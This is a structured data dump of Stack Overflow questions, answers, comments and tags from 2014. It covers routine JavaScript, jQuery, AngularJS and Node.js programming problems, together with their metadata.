has body: I'm experiencing a weird behaviour with JavaScript. I am trying to construct a JS object like this in JavaScript (node.js/express) var docAudit = {date: nowObj, changed: {}}; docAudit.changed['N5'] = 'DieterDorian'; console.log(docAudit) prints out now as expected: { date: Thu Sep 04 2014 11:00:00 GMT+0200 (CEST), changed: { N5: 'DieterDorian' } } Now I want to push or unshift this docAudit object into my 'historie' Array in my 'ip' JSON (fetched from mongoDB) ip: { __v: 15 _id: "53fb42bf52b6542527cb7d23" aktuell: { N5: "HansHerschel" Auftragsnr: "2018" } historie: [ { date: "2014-09-04T09:53:20.533Z" changed: { N5: "HansHerschel" } ] } Now this operation: ip.historie.unshift(docAudit); should result in adding the docAudit object in front of the historie array inside the 'ip' JSON object. However what happens is this: ip: { __v: 16 _id: "53fb42bf52b6542527cb7d23" aktuell: { // not important what happens here } historie: [ { date: "2014-09-04T11:00:00.533Z" changed: { N5: "DieterDorian" }, { date: "2014-09-04T11:00:00.533Z" }, { date: "2014-09-04T09:53:20.533Z" changed: { N5: "HansHerschel" } ] } So what happens is an additional Date object gets pushed into the 'historie' array. I am thinking I might constructing the 'docAudit' object wrongly. Expected output is just to push the docAudit into the array without an additional date object. Or if I print out the 'ip' object with console.log(ip): { changed: {}, date: Thu Sep 04 2014 11:48:51 GMT+0200 (CEST) }, { date: Thu Sep 04 2014 11:48:51 GMT+0200 (CEST), changed: [Object] } ] } This is my routing code: updateIP = function(req, res) { return IP.findById(req.params.id, function(err, ip) { if(!ip) { res.statusCode = 404; return res.send({ error: 'Not found' }); } var docAudit = {'changed':{}, 'date': nowObj}; docAudit.changed.N5 = 'DieterDorian' ip.historie.unshift(docAudit); ip.markModified('aktuell'); ip.markModified('historie'); return ip.save(function(err) { if(!err) { console.log('Updated'); return res.send({ statu…
type: Question
tagged with: http://stackoverflow.com/tag/json
tagged with: javascript
has answer: http://stackoverflow.com/a/25663523
tagged with: express

http://stackoverflow.com/q/25705475
has body: I am trying to iterate over a JSON response and sort by another key-value pair in the object (the order object value, but looks like that is now working out for me. Can I reformat the object in another way that I could not think of so far? I there anything that I can do in Angular? HTML Title: {{item.title}} Name: {{blockName}}, Order: {{majorBlock.order}} JS angular.module('myApp', []) .controller('Ctrl', function($scope) { $scope.myCards = { template: { tagline: 'Tagline', url: 'url', title: 'My Title', blocks: { 'cover': { "coverUrl": "http://www.url.com/cover/", "coverImage": "http://www.url.com/cover/", "order": '1' }, 'text': { "headerText": "amet anim est eu enim in incididunt cillum reprehenderit proident", "order": '2' }, 'products_block': { 'order': '3' } } } }; }); Fiddle: http://jsfiddle.net/fvdb3d3p/ I tried a few hacks, with orderByArray plugin, but they break the rest of the loop.
has answer: http://stackoverflow.com/a/25705554
type: AnsweredQuestion
tagged with: arrays
downvote count: 0
tagged with: javascript
score: 1
tagged with: sorting
favorite count: 0
tagged with: angularjs
type: Question
accepted answer: http://stackoverflow.com/a/25705554
upvote count: 1
answer count: 1
has title: orderBy not working as expected

http://stackoverflow.com/comment/39908596
comment on: http://stackoverflow.com/q/25556401
type: Comment
type: QuestionComment
has text: The scripts are only being called from the functions.php file. color_js is simply jquery-color. I'm no longer using rollover.js. header.js is now in the original post
score: 0

http://stackoverflow.com/comment/40112893
has text: if there is a container (i say "if" because you've provided no actual code here), set the CSS of that container to include `overflow:hidden`.
comment on: http://stackoverflow.com/q/25668408
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/40059292
type: AnswerComment
has text: security means escaping and validating user inputs to prevent malicious code being uploaded and also nounces + keys ... http://code.tutsplus.com/tutorials/secure-your-forms-with-form-keys--net-4753 http://devotepress.com/wordpress-coding/data-validation-and-sanitization-wordpress/#.VAbFWvldXw8
type: Comment
comment on: http://stackoverflow.com/a/25634761
score: 0

http://stackoverflow.com/q/25693456
type: Question
has body: The javascript code: How can I find hashtags without newline or spaces or tabs just hashtags without url hashtags? function findHashtags(searchText) { var regexp = /\#\w\w+\s?/g result = searchText.match(regexp); if (result) { result.map(function(s) { return s.trim() }); console.log(result); } else { return false; } }
downvote count: 0
tagged with: javascript
answer count: 6
linked to: http://stackoverflow.com/q/17864482
has answer: http://stackoverflow.com/a/71242169
has comment: http://stackoverflow.com/comment/124357185
tagged with: regex
favorite count: 0
has answer: http://stackoverflow.com/a/25693471
has answer: http://stackoverflow.com/a/54864005
has title: Get hashtags from string with trim spaces and new lines
possible better answer: http://stackoverflow.com/a/47536045
has answer: http://stackoverflow.com/a/47536045
has answer: http://stackoverflow.com/a/40305384
upvote count: 7
has answer: http://stackoverflow.com/a/25693502
type: AnsweredQuestion
tagged with: hashtag
score: 7
accepted answer: http://stackoverflow.com/a/25693471

web-testing
tags question: http://stackoverflow.com/q/25675159
type: Tag
tag name: web-testing

http://stackoverflow.com/a/25664167
accepted answer of: http://stackoverflow.com/q/25663859
has comment: http://stackoverflow.com/comment/40106495
score: 0
type: AcceptedAnswer
has body: Try it like, var totalSeconds = 0; var clr = setInterval(setTime, 1000); var endMinute=1; var endSecond=5; function setTime() { ++totalSeconds; var s=totalSeconds % 60, m=parseInt(totalSeconds / 60); if(s==endSecond &amp;&amp; m==endMinute) { clearInterval(clr); } $('#seconds').text(s); $('#minutes').text(m); } DEMO Updated Demo with progress bar
has comment: http://stackoverflow.com/comment/40105559
has comment: http://stackoverflow.com/comment/40106413
type: Answer
answers question: http://stackoverflow.com/q/25663859

http://stackoverflow.com/comment/39907750
has text: @xlirate the better way to handle events is through javascript, not via HTML attributes. Grab the element: `document.getElementById("myElement")` and then assign a function to it's `onkeydown`/`onkeyup` properties
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25556303
type: Comment

http://stackoverflow.com/comment/40106845
type: QuestionComment
score: 1
has text: This is not valid HTML; escape the id with quotation marks.
comment on: http://stackoverflow.com/q/25664981
type: Comment

http://stackoverflow.com/a/25688052
has comment: http://stackoverflow.com/comment/40148445
answers question: http://stackoverflow.com/q/25687954
has comment: http://stackoverflow.com/comment/40148363
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40148460
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25687954
has comment: http://stackoverflow.com/comment/40148398
has comment: http://stackoverflow.com/comment/40148280
type: Answer
score: 3
has comment: http://stackoverflow.com/comment/40148346
upvote count: 3
has comment: http://stackoverflow.com/comment/40148408
has body: From MDN's documentation: If number is greater than 1e+21, this method simply calls Number.prototype.toString() and returns a string in exponential notation. The problem is that you are using 4.5 as your interest rate instead of 0.045, so doing this: Math.pow(4.5 / 12 + 1, 360) gives you a huge number (6.151362770461608e+49 or 6.15 * 10^49 to be exact). Change your interest rate to 0.045 and you will get what you are expecting. As for the var RplusOne = RRaised + 1 line, the problem here is that RRaised is a string because of toFixed. I would only call toFixed when you're displaying things, and not at any other time; the primary reason for this would be to avoid rounding errors in subsequent calculations, but has the added benefit that your variables remain numbers and not strings.

http://stackoverflow.com/q/25697348
type: AnsweredQuestion
has body: I need to display a map of multi-level building on a website. This website will only be displayed on a PC in the foyer of this building. I need to allow people to do a room search and then draw directions to the room on the map. I also need people to zoom and drag the map too. I have watched the Google "Map your business, inside and out" video and can see a lot of that could be useful, but there is nothing there to be able to show directions from one room to another. So before I spend a lot of time writing my own code using jQuery, I was wondering if anyone else has done something similar, or if anyone can suggest some good starting points?
has answer: http://stackoverflow.com/a/25757981
upvote count: 1
type: Question
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25757981
answer count: 1
downvote count: 0
has title: Displaying an indoor building map with route tracing draw path to rooms
score: 1
tagged with: jquery
favorite count: 0
tagged with: http://stackoverflow.com/tag/svg
tagged with: http://stackoverflow.com/tag/html
tagged with: css

http://stackoverflow.com/q/25706941
tagged with: image
answer count: 1
downvote count: 0
has body: I have a parallax one page scroll, responsive portfolio with many different projects. Every project fires a modal with up to 15 images if the visitor clicks on the project. I have a loading opening animation with a GIF using JavaScript at the beginning, so the visitor sees the website only when the entire page is loaded, even the images inside of each project that only appear when user clicks on the project (it is a one page scroll): $(window).load(function() { $(".loader").fadeOut("slow"); }) It currently takes between 30 seconds to 1 minute to access the portfolio due to the numerous images Does someone know a way to: - load some images first (backgrounds of the main page, thumbnails for each project, etc) - keep the loading screen at the beginning only when these images are loading - have the loading opening screen disappearing when these images are loaded so the visitor can start browsing the portfolio and so doesn't have to wait 30 seconds for that - keep loading the other images when he is browsing the page (so now loading the images that appear inside of the modal only when the visitor clicks on a project while he is visiting the "main" page) Thank you for your help!
tagged with: parallax
favorite count: 0
type: UnansweredQuestion
has title: How to code a loading screen that disappears after specific images are loaded?
tagged with: loading
tagged with: responsive-design
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/25706988
type: Question
tagged with: javascript

http://stackoverflow.com/a/25668169
type: Answer
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25667873
has body: Try using ::before pseudo-element: Welcome This is the welcome greeting .wrapper > h1:before { content: '|'; } .wrapper.hide > h1:before { content: '+'; } .wrapper.hide > p { display: none; } $(".wrapper").addClass('hide').each(function() { var $wrapper = $(this); $wrapper.children('h1').on('click', function() { $wrapper.toggleClass('hide'); }); }); Demo
upvote count: 2

http://stackoverflow.com/q/25669322
linked to: http://stackoverflow.com/q/19491336
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40114649
has comment: http://stackoverflow.com/comment/40114599
type: Question
has answer: http://stackoverflow.com/a/25669385
has title: Javascript get the string between two symbols
linked to: http://stackoverflow.com/q/901115
tagged with: javascript
tagged with: jquery
duplicate of: http://stackoverflow.com/q/901115
has answer: http://stackoverflow.com/a/25669361
score: 0
has answer: http://stackoverflow.com/a/25669386
tagged with: regex
answer count: 4
possible better answer: http://stackoverflow.com/a/25669382
has answer: http://stackoverflow.com/a/25669382
has comment: http://stackoverflow.com/comment/40114632
has comment: http://stackoverflow.com/comment/40114959
has body: I have the following string and I'm trying to retrieve the string between two symbols http://mytestdomain.com/temp-param-page-2/?wpv_paged_preload_reach=1&amp;wpv_view_count=1&amp;wpv_post_id=720960&amp;wpv_post_search&amp;wpv-women-clothing[]=coats I need to retrieve wpv-women-clothing[] or any other string between the last &amp; and the last = in the URL Should I use regex for this or is there a function in Javascript/jQuery already well suited for this? Thanks
accepted answer: http://stackoverflow.com/a/25669361

postback
tag name: postback
tags question: http://stackoverflow.com/q/25552187
type: Tag
tags question: http://stackoverflow.com/q/25673258
tags question: http://stackoverflow.com/q/25685915

http://stackoverflow.com/comment/40151860
score: 0
type: Comment
type: QuestionComment
has text: it is taken as closing and next text is skipped
comment on: http://stackoverflow.com/q/25689869

http://stackoverflow.com/a/25676327
type: Answer
answers question: http://stackoverflow.com/q/25676166
has body: function applyTax(){ var inputAmount = parseFloat(document.getElementById( 'dollars' ).value); var salesTax = parseFloat(document.getElementById( 'tax' ).value); var tip = parseFloat(document.getElementById( 'tip' ).value); var taxprcnt = (salesTax/100) * (inputAmount); var tipprcnt = (tip/100) * (inputAmount); var Grandtotal = inputAmount + taxprcnt + tipprcnt; document.getElementById( 'requestedGrand' ).innerHTML = Grandtotal.toFixed(2); // Round to 2 decimals } You should use parseFloat() to convert the inputs to numbers. You need to multiply the input amount by the tax percentage, not add them. You should round off the final result, because people don't want to see fractional pennies. DEMO When I enter $10 amount, 7% tax, 25% tip, the total is $13.20.
score: 0

http://stackoverflow.com/a/25562276
has comment: http://stackoverflow.com/comment/128168625
type: Answer
has comment: http://stackoverflow.com/comment/39918889
has body: Assume total number of days is n. Then number of any day of a week is initially n / 7. Now take n = n % 7. Depending on the value of current n you can easily calculate the final count of days. As example: Assume your first day is Friday and total number of days is 100. So, n = 100. There are minimum 100/7 or 14 of each weekday is in the interval. 100 % 7 = 2. So final count is, Friday -&gt; 14+1 = 15 Saturday -&gt; 14+1 = 15 Sunday -&gt; 14 Monday -&gt; 14 Tuesday -&gt; 14 Wednesday -&gt; 14 Thursday -&gt; 14
upvote count: 1
answers question: http://stackoverflow.com/q/25562173
has comment: http://stackoverflow.com/comment/39918771
downvote count: 0
score: 1

http://stackoverflow.com/a/25666860
has comment: http://stackoverflow.com/comment/40116475
upvote count: 1
type: AcceptedAnswer
has body: Use a watch on that variable in the service. When its updated, then update your values in controller scope. Here's an example: Inside your controller, you can watch a var myVar on YourService and when it changes, update a variable called myVarInController with the value it changed to. $scope.$watch( // This function returns the value being watched. function() { return YourService.myVar; }, // This is the change listener, called when the value returned above changes function(newValue, oldValue) { if ( newValue !== oldValue ) { $scope.myVarInController = newValue; } } );
has comment: http://stackoverflow.com/comment/40113980
type: Answer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25665336
score: 1
answers question: http://stackoverflow.com/q/25665336

http://stackoverflow.com/comment/40146693
comment on: http://stackoverflow.com/q/25686592
score: 0
type: Comment
type: QuestionComment
has text: Yes the URL is of same project. By any chance, is there any datatable example that I can study as a guide? Also how would I capture the value in the textbox since its not part of the table

http://stackoverflow.com/comment/39906989
type: QuestionComment
comment on: http://stackoverflow.com/q/25555964
has text: possible duplicate of [How do I disable a jquery-ui draggable?](http://stackoverflow.com/questions/1324044/how-do-i-disable-a-jquery-ui-draggable)
score: 0
type: Comment

http://stackoverflow.com/comment/39908822
score: 0
comment on: http://stackoverflow.com/a/25556303
type: Comment
type: AnswerComment
has text: @Rajacsp, if I wanted flag to only care about the space bar, how would the code look?

http://stackoverflow.com/a/25657360
has comment: http://stackoverflow.com/comment/40093744
upvote count: 2
has body: Lots of answers looking at tags, but here's another approach. If the elements are in a form, they will also be available as named properties of the form and in its elements collection, e.g. Then you can get all the controls in the form by first getting the form (each of the following is equivalent): var form = document.getElementById('f0'); // or var form = document.forms[0]; // or var form = document.forms.f0; then get controls by name: var firstName = form.FIELD_01_01_FIRSTNAME.value; // or var firstName = form['FIELD_01_01_FIRSTNAME'].value; Note that if two or more controls have the same name, the above will return an HTMLCollection of the controls. And using elements: var allControls = form.elements;
type: Answer
answers question: http://stackoverflow.com/q/25657119
score: 2
downvote count: 0

http://stackoverflow.com/a/25641091
has body: I think it should be: $('.boo a[href="' + newhash + '"]').addClass('selected'); Right now you are trying to match a tags with literally href="+newhash+".
answers question: http://stackoverflow.com/q/25640983
upvote count: 1
type: AcceptedAnswer
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/40063638
accepted answer of: http://stackoverflow.com/q/25640983
score: 1

http://stackoverflow.com/comment/40176063
score: 0
type: AnswerComment
type: Comment
has text: I'm not sure but this SO item may be relevant: http://stackoverflow.com/questions/1326993/jquery-focus-sometimes-not-working-in-ie8
comment on: http://stackoverflow.com/a/25610631

http://stackoverflow.com/comment/40108900
has text: But this should not require recursion at any point, since you simply have a “flat”, one-dimensional data structure here – just a couple of path segments in defined order.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25665488

http://stackoverflow.com/comment/40025208
type: Comment
has text: Try instead (document.documentElement.clientHeight) and see it it helps with mobiles. --- https://developer.mozilla.org/en-US/docs/Web/API/Element.clientHeight
type: QuestionComment
comment on: http://stackoverflow.com/q/25613859
score: 0

http://stackoverflow.com/comment/39947903
comment on: http://stackoverflow.com/q/25577542
type: QuestionComment
type: Comment
has text: I am returning reader.result from inside the IIFE. Isnt that right?
score: 0

http://stackoverflow.com/comment/40168314
type: Comment
type: QuestionComment
has text: You'll have to use ajax to send the value back when the user changes the checkbox.
score: 0
comment on: http://stackoverflow.com/q/25698556

http://stackoverflow.com/a/25559067
type: Answer
has comment: http://stackoverflow.com/comment/39936762
has comment: http://stackoverflow.com/comment/39945184
answers question: http://stackoverflow.com/q/25558964
accepted answer of: http://stackoverflow.com/q/25558964
score: 0
has body: From my understanding you want something like this? jsfiddle $('div.reviews-adh').each(function() { var starNumber = Number($(this).text())+1, images = ''; for (i = 1; i &lt; starNumber; i++) { images += '&lt;img src="http://dummyimage.com/50x50/58c736/ffffff.png&amp;text='+i+'"&gt;'; } $(this).html(images); });
has comment: http://stackoverflow.com/comment/39943541
type: AcceptedAnswer

http://stackoverflow.com/a/25628668
accepted answer of: http://stackoverflow.com/q/25628614
upvote count: 1
answers question: http://stackoverflow.com/q/25628614
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40041314
type: AcceptedAnswer
has body: Wrap it with $() to convert it to jQuery object: $($('#id-element-0000').nextAll('.wanted-class')[0]).attr('data-wanted'); Or simply use $('#id-element-0000').nextAll('.wanted-class').first().attr('data-wanted'); When you index over jQuery objects, you will get HTMLElement which doesn't have methods that jQuery has.

http://stackoverflow.com/a/25609658
type: Answer
has body: One solution would be to retrieve the angle by getting its CSS value Another solution could be to store the angle with the elements' data: $( ".portfolioDropLink" ).click(function() { // Icon Variable var currentIcon = $(this).find(".fa-angle-down"); // Rotate Icon currentIcon.rotate(getNextAngle(this)); function getNextAngle(el) { //Get Value and Parse var currentAngle = el.getAttribute('data-angle'); if (parseInt(currentAngle) == NaN) currentAngle = 0; //Get Next Value nextAngle = parseInt(currentAngle) + 180; if(nextAngle &gt;= 360) { nextAngle = 0; } //Set Value and Return el.setAttribute('data-angle', nextAngle) return nextAngle; } });
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25609516
downvote count: 0

http://stackoverflow.com/q/25650897
possible better answer: http://stackoverflow.com/a/25650934
favorite count: 0
has answer: http://stackoverflow.com/a/25650926
has answer: http://stackoverflow.com/a/25650934
has answer: http://stackoverflow.com/a/25650941
has body: var str = "dog,cat,rat,bat"; pos = str.indexOf( ',' ); var res= str.substring( 0, pos ); But that only gets me the first word. I want the ability to get any word in a string on unknown length.
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25651025
has answer: http://stackoverflow.com/a/25650993
upvote count: 1
has comment: http://stackoverflow.com/comment/40081284
downvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/25650941
has comment: http://stackoverflow.com/comment/40081274
tagged with: javascript
answer count: 6
has answer: http://stackoverflow.com/a/25650927
score: 0
has title: Extract any word in comma delimited string

http://stackoverflow.com/q/25680289
upvote count: 2
has comment: http://stackoverflow.com/comment/40178639
accepted answer: http://stackoverflow.com/a/25716066
answer count: 1
has comment: http://stackoverflow.com/comment/40156980
score: 2
type: AnsweredQuestion
tagged with: google-visualization
downvote count: 0
has title: Google Timeline overlapping timesheets
tagged with: javascript
favorite count: 0
has answer: http://stackoverflow.com/a/25716066
type: Question
has body: I have created a timeline and sometimes there are two timesheets in a row. It is not a problem, but I would like to show them in one line with overlap. Please see this example: So the less line should be shown as a part of the bigger line. Google's Visualization API is amazing, a very good thing, but it is not so well documented yet.
tagged with: php

http://stackoverflow.com/q/25554865
has answer: http://stackoverflow.com/a/25637283
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/27115252
tagged with: arrays
downvote count: 0
tagged with: javascript
favorite count: 0
tagged with: angularjs-ng-repeat
possible better answer: http://stackoverflow.com/a/25637283
tagged with: angularjs
upvote count: 1
type: AnsweredQuestion
has title: Get sum of Object key values in ngRepeat
has body: I'm trying to get the sum of the 'amount' key for all the objects in an ngRepeat loop. I'll need to also filter that sum based on another key which represents the person who spent that amount, 'name'. So for example I would like to get separate values for the total amount of money spent by Mary and Lewis. I'm relatively new to Angular on not sure the proper way to accomplish this. Any help would be greatly appreciated. HTML Mary {{post.title}} ${{post.amount}} {{post.details}} Lewis {{post.title}} ${{post.amount}} {{post.details}} {{post.created_at}} edit JavaScript spendingApp.controller("SpendingController", function($scope, $firebase,$stateParams) { //Setup Firebase DB and make available to app var ref = new Firebase("**Firebase URL**"); var sync = $firebase(ref); $scope.posts = sync.$asArray(); $scope.whichItem = $stateParams.itemId; console.log($stateParams); $scope.itemTitle = $scope.whichItem; // Add new Item to DB $scope.addPost = function() { $scope.posts.$add({ name: $scope.itemName, title: $scope.itemTitle, details: $scope.itemDetails, amount: parseFloat($scope.itemAmount), created_at: Date() }); // Clears values; $scope.itemName = ""; $scope.itemAmount = ""; $scope.itemTitle = ""; $scope.itemDetails = ""; } }); JSON Examples { "amount" : 16.04, "created_at" : "2014-08-17T17:40:18.846Z", "details" : "upgrade", "id" : 36, "name" : "Lewis", "title" : "Street Fighter Ultra", "updated_at" : "2014-08-17T17:40:18.846Z" }, { "amount" : 19, "created_at" : "2014-08-17T17:41:08.341Z", "details" : "", "id" : 37, "name" : "Lewis", "title" : "Webfaction Web Hosting", "updated_at" : "2014-08-17T17:41:08.341Z" }
accepted answer: http://stackoverflow.com/a/27115252
score: 1
tagged with: sum

http://stackoverflow.com/q/25642432
answer count: 2
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25645172
score: 2
has title: Javascript change specific object properties
has comment: http://stackoverflow.com/comment/40065605
favorite count: 0
tagged with: angularjs
possible better answer: http://stackoverflow.com/a/25642588
has comment: http://stackoverflow.com/comment/40065587
has answer: http://stackoverflow.com/a/25642588
downvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25645172
has body: I have this: $http({ method: "GET", url: myURL }). success(function (data, status) { $scope.data = data.content; //complex object for(i=0;i&lt;$scope.data.length;i++){ $scope.data[i].value1 = "newvalue1"; $scope.data[i].value2= "newvalue2"; } }); How can I change the property in a certain point of an array of objects? I get this error, even if I know it exists $scope.data[i] is undefined I tried to parse the JSON, but I get this error unexpected character found...
upvote count: 3
type: Question

http://stackoverflow.com/comment/40115134
type: Comment
type: QuestionComment
has text: It would be helpful if you post sample html code of your page.
score: 0
comment on: http://stackoverflow.com/q/25669380

http://stackoverflow.com/comment/40135452
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25680568
type: AnswerComment
has text: People here just `down-vote` the ques & answer but don't comment the reason of `down-vote`.

http://stackoverflow.com/comment/40127876
type: AnswerComment
comment on: http://stackoverflow.com/a/25676469
score: 0
type: Comment
has text: I think he meant `$(item).attr('id', 'id-' + idx);`. [.each()](http://api.jquery.com/each/) returns a DOM Element not a jQuery element.

http://stackoverflow.com/q/25627722
downvote count: 1
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25627774
accepted answer: http://stackoverflow.com/a/25627774
possible better answer: http://stackoverflow.com/a/25627787
favorite count: 0
score: 0
tagged with: http://stackoverflow.com/tag/html
has body: I have the following HTML structure: ... ... ... ... How can I get the href value of all li elements in javascript? I'm currently trying this, but there may not be five li always. var related_links_body = $('div.related-links ul'); var related_links = []; related_links[0] = related_links_body.find("li.first a").attr("href"); related_links[1] = related_links_body.find("li.first").next().find("a").attr("href"); related_links[2] = related_links_body.find("li.first").next().next().find("a").attr("href"); related_links[3] = related_links_body.find("li.first").next().next().next().find("a").attr("href"); related_links[4] = related_links_body.find("li.first").next().next().next().next().find("a").attr("href");
has comment: http://stackoverflow.com/comment/40039625
has answer: http://stackoverflow.com/a/25627787
has title: Getting the href value of links using jQuery find()
has comment: http://stackoverflow.com/comment/40039754
type: AnsweredQuestion
type: Question
answer count: 2
upvote count: 1

http://stackoverflow.com/q/25658985
has comment: http://stackoverflow.com/comment/40096421
tagged with: javascript
tagged with: jquery
score: 0
tagged with: http://stackoverflow.com/tag/html
has body: I have written an html code which show a table. Now what i want to do is like that, clicking or hovering mouse over the table then the tag name will show. As i am new in jquery i am unable to organize the logic in jquery. The following html code generate a simple table User Country City BithDate abc abc abc abc cdf cdf cdf cdf the out put Now what i want to do is like that when i click on user/country it will show: "thead: th" and when i point mouse on abc or cdf it will show: "tr: td". what i thought to do is using click event for each tr td . but is there any other way to do that. Thanks in advance!!
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25659069
has title: showing html table tag name by mouse click or hover
type: Question
has answer: http://stackoverflow.com/a/25659564
answer count: 2

http://stackoverflow.com/comment/40165623
type: Comment
type: QuestionComment
has text: make a fiddle, we could do something on it.....
comment on: http://stackoverflow.com/q/25696927
score: 0

http://stackoverflow.com/a/25587117
upvote count: 1
answers question: http://stackoverflow.com/q/25587076
score: 1
has comment: http://stackoverflow.com/comment/39985946
has body: @get must be executed within context of the instance. Here you're executing it within the context of the window. You could change your mapOptions to a computed property: mapOptions: function(){ return { zoom: 8 center: this.get('placeLocation') } }.property('placeLocation') Or if you just want it to be a method, you wouldn't use a getter, you would just call the func mapOptions: function(){ return { zoom: 8 center: this.get('placeLocation') } } @set('map', new google.maps.Map(@get('mapContainer'), @mapOptions()))
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39984038
accepted answer of: http://stackoverflow.com/q/25587076
type: Answer

http://stackoverflow.com/q/25565373
has answer: http://stackoverflow.com/a/25565571
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25565509
upvote count: 0
has answer: http://stackoverflow.com/a/25565516
has body: I'm pretty much a novice when it comes to Javascript so bear with me. I have a button which will open up a div, which then displays a list of cities, then I implemented a text change to "View Areas Covered -" which also works fine. However I have come into trouble when trying to close the div and return the text to the original which is "View Areas Covered +" Here is my code: $(document).ready( function() { $("#divArea").click(function(e) { e.preventDefault(); $("#areasCovered").fadeToggle(1000); document.getElementById("h3Class").innerHTML = "View Areas Covered -"; }); }); function() { $("#divArea").click(function(e) { e.preventDefault(); $("#areasCovered").fadeToggle(1000); if (document.getElementById("h3Class").value = "View Areas Covered -" == true) { document.getElementById("h3Class").innerHTML = "View Areas Covered +"; }; else { } }); }); Here is the HTML: View Areas Covered + //list of cities Any help would be great!
tagged with: jquery
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/39924333
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39924504
has title: Javascript - Change text back to original after double click
score: -1
accepted answer: http://stackoverflow.com/a/25565516
has comment: http://stackoverflow.com/comment/39924454
downvote count: 1
answer count: 7
has answer: http://stackoverflow.com/a/25565564
tagged with: javascript
has answer: http://stackoverflow.com/a/25565650
possible better answer: http://stackoverflow.com/a/25565509
has answer: http://stackoverflow.com/a/25565724
has answer: http://stackoverflow.com/a/25566159

http://stackoverflow.com/q/25710737
tagged with: node.js
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40190458
tagged with: mysql
downvote count: 1
has body: Background I have a table with two columns, the one is the key, which is word and the other is not a key, and it's instances. I want to insert each word to a new row, and increment it's instances field by 1. Now, if the word that being inserted now is already exist, it should not be duplicated but it's instances filed should be incremented. Example table is empty at start inserting the word "hello" and increment it's instances by 1. inserting the word "world" and increment it's instances by 1. inserting the word "hello" again and increment it's instances by 1. So now the table will look like this: hello 2 world 1 I have tried: MySql_Connection.query(" INSERT INTO `my_database`.my_table (`word`) VALUES ('"+ word_to_insert +"') UPDATE `instances` = `instances` + 1 ON DUPLICATE KEY `instances` = `instances` + 1 "); getting a syntax error
type: Question
accepted answer: http://stackoverflow.com/a/25711020
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40190484
tagged with: sql
answer count: 1
has title: MySql increment field for each key value insertion and handle duplicates as well
favorite count: 0
has comment: http://stackoverflow.com/comment/40190218
has answer: http://stackoverflow.com/a/25711020
upvote count: 1

http://stackoverflow.com/comment/39965829
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25587496
has text: Try combining options `json_encode($your_array, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES)`
type: Comment

http://stackoverflow.com/comment/39959673
has text: Yup. I understand it is good practice to use csrf tokens but in this case I just wanted to get the ajax working since it's not sth that will go to prd
type: AnswerComment
comment on: http://stackoverflow.com/a/25584063
score: 0
type: Comment

http://stackoverflow.com/a/26601707
downvote count: 0
has comment: http://stackoverflow.com/comment/42348086
has comment: http://stackoverflow.com/comment/42271904
type: Answer
has comment: http://stackoverflow.com/comment/42272348
has comment: http://stackoverflow.com/comment/42310027
upvote count: 1
has comment: http://stackoverflow.com/comment/41830636
has body: I use a textarea for the raw html and a contenteditable div for the rendered html. To shuttle between them I use jQuery //rendered -&gt; raw $("#raw").text($("#rendered").html()); //raw -&gt; rendered $("#rendered").html($("#raw").text()); The escaping and un-escaping is done by jQuery. I have a global flag editmode the value of which is switched between "raw" and "rendered" by the onfocus events of the div and the textarea. For edits to rendered html there are quite a few events going on because there's a toolbar for formatting but essentially at any point where I change the rendered html I check the flag and if necessary push to the textarea. For edits to the textarea I hook onkeyup, onkeydown and onmouseup (for paste) to detect change, then check the flag and if necessary push to rendered.
score: 1
answers question: http://stackoverflow.com/q/25705136

http://stackoverflow.com/comment/40119202
has text: Try with filterColumnLabel instead of filterColumnIndex
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25621615
type: QuestionComment

http://stackoverflow.com/a/25649519
score: 0
has comment: http://stackoverflow.com/comment/40080446
type: Answer
has comment: http://stackoverflow.com/comment/40134969
has comment: http://stackoverflow.com/comment/40135824
has comment: http://stackoverflow.com/comment/40078841
has comment: http://stackoverflow.com/comment/40135004
has comment: http://stackoverflow.com/comment/40079030
has body: As that image is being referenced from browser. It will not be able to access your desktop. please give the path relative to the current file or with respect to the web root.
answers question: http://stackoverflow.com/q/25649430

http://stackoverflow.com/a/25664637
answers question: http://stackoverflow.com/q/25664610
type: Answer
has body: You can use jquery: var fontsize = $('#yourtextinputid').css("font-size");// Returns a string such as "19px". Please note that this will append "px" along with the size.
upvote count: 1
score: 1
downvote count: 0

http://stackoverflow.com/a/25676728
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40128985
type: Answer
answers question: http://stackoverflow.com/q/25676477
has body: As @elclanrs said, better use a hash approach var obj = {}; for(var i=0; i&lt;list.length; ++i) { obj[list[i]] = true; } and then check obj.hasOwnProperty(t); Better use hasOwnProperty and not in to avoid searching in the prototype chain. However, you can simplify it using ES6 Set: var set = Set(list); and then check set.has(t) Note not all browsers support it yet. Be aware that id returns a string, but list is an array of numbers! To fix that, convert the id to a number (e.g. with unary +), or use something like function id() { var num = 0, len = 5; for(var i=0; i&lt;len; ++i) { num *= 10; num += Math.floor(Math.random() * len) + 1; } return num; }
accepted answer of: http://stackoverflow.com/q/25676477
downvote count: 0
